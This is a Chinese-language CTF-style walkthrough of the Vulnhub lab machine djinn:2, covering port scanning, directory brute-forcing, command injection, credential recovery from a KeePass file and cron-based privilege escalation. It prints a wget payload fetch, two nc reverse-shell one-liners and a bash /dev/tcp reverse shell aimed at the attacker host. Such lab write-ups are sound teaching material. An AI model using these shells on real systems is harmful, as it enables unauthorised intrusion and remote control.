Vulnhub:djinn: 2

作者: ink247 | 来源:发表于2022-01-11 16:20 被阅读0次

    一、前言

    通过大量vulnhub受控靶机积累一线攻防经验和技巧。

    二、环境

    靶机名称:djinn:2

    靶机难度:中级

    目标:有1个flag——/root/proof.sh

    攻击机:kali linux,IP地址192.168.100.9

    靶机:os-bytesec,IP地址192.168.101.199

    三、挑战过程

    图一

    1.扫描IP提供的IT服务(ps-之前IP是198,现在变成199了,我就不重复截图了)——

    nmap -v -A -sV -T4 -p 1-65535 192.168.101.199

    图二 图三

    2.web目录爆破(ps-之前IP是198,现在变成199了,我就不重复截图了)——

    gobuster dir -u http://192.168.101.199:7331/ -w /usr/share/wordlists/dirb/big.txt

    图四

    3.web应用探索(ps-之前IP是198,现在变成199了,我就不重复截图了)

    图五 图六

    4.继续爆破(ps-之前IP是198,现在变成199了,我就不重复截图了)——

    图七

    遗憾没有任何新发现。

    5.根据source里提及的信息,尝试5000端口的IT服务(ps-之前IP是198,现在变成199了,我就不重复截图了)

    图八

    这里提到请求方法错误,尝试诸如POST的其他http请求方法,果然!

    图九

    访问拒绝,试试有没命令注入或者sql注入

    sqlmap -u "http://192.168.101.198:5000" --data "7846A$56" --level 3

    图十 图十一

    有意思的是,当我们使用curl进行post请求,可以发现有命令注入!!!(疑问点,我不知道这是什么逻辑)

    图十二

    6.构造并监听反弹shell(ps-之前IP是198,现在变成199了,我就不重复截图了)

    msf监听

    图十三

    构造反弹shell并启动http服务供下载

    wget+-P+/tmp/+http://192.168.100.9:8000/b.sh(下载到指定目录)

    图十四 图十五 图十六 图十七 图十八

    我不知道为什么我这里弹不了反弹shell,明明是200

    图十九

    只能参考别人的提权思路,曲线提权了

    更新-解决了,用了脚本hex转码绕过

    mkfifo /tmp/foo;cat /tmp/foo | /bin/bash -i 2>&1 | nc 192.168.100.9 4444 >/tmp/foo

    更新图 更新图

    7.提权——

    在/var/backups目录下发现一个nitu.kdbx文件,我这里用xxd实现16进制编码copy保障文件完整性,在本地再转码回来,然后用keepass2打开。

    什么是KDBX文件? 由Windows免费密码管理器KeePass Password Safe创建的文件; 存储密码的加密数据库,该数据库只能使用用户设置的主密码进行查看; 用于安全存储Windows,电子邮件帐户,FTP站点,电子商务站点和其他目的的个人登录凭据。 KDBX格式是KeePass的2版本引入的。

    图二十 图二十一

    获取密码-&HtMGd$LJB

    图二十二

    尝试ssh登录nitish用户

    图二十三 图二十四

    探索服务器上提供的IT服务-2843

    图二十五

    尝试命令注入,发现是用户ugtan

    接着就是反弹shell,不能直接使用bash反弹,使用revshellgen生成payload,成功反弹shell

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.9 4444 > /tmp/f

    图二十六 图二十七 图二十八

    在/var/mail目录下有一封邮件,说是在ugtan的家目录下创建了文件夹,会有一个定时任务运行clean.sh,我们借此制造一个反弹shell。

    echo "bash -i >& /dev/tcp/192.168.100.9/5555 0>&1" > clean.sh

    图二十九 图三十

    四、总结

    风险点:

    1.web服务存在命令注入

    2.服务器写的一个脚本服务(2843)存在命令注入

    3.自动计划root权限运行

    4.nitu.kdbx和/var/mail/ugtan存在敏感信息暴露在服务器上

    五、疑问点

    1.【high】反弹shell执行不了-web的命令注入-更新,使用脚本hex转码解决了

    2.【high】现阶段对提权风险模糊且不成体系

    参考链接

    1.【思路】https://blog.csdn.net/weixin_43784056/article/details/107008701?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&utm_relevant_index=1

    2.【脚本编码tips】http://andreaukk.altervista.org/djinn-2-writeup-vulnhub/?doing_wp_cron=1641955561.6923429965972900390625

    相关文章

      网友评论

        本文标题:Vulnhub:djinn: 2

        本文链接:https://www.haomeiwen.com/subject/ozmqcrtx.html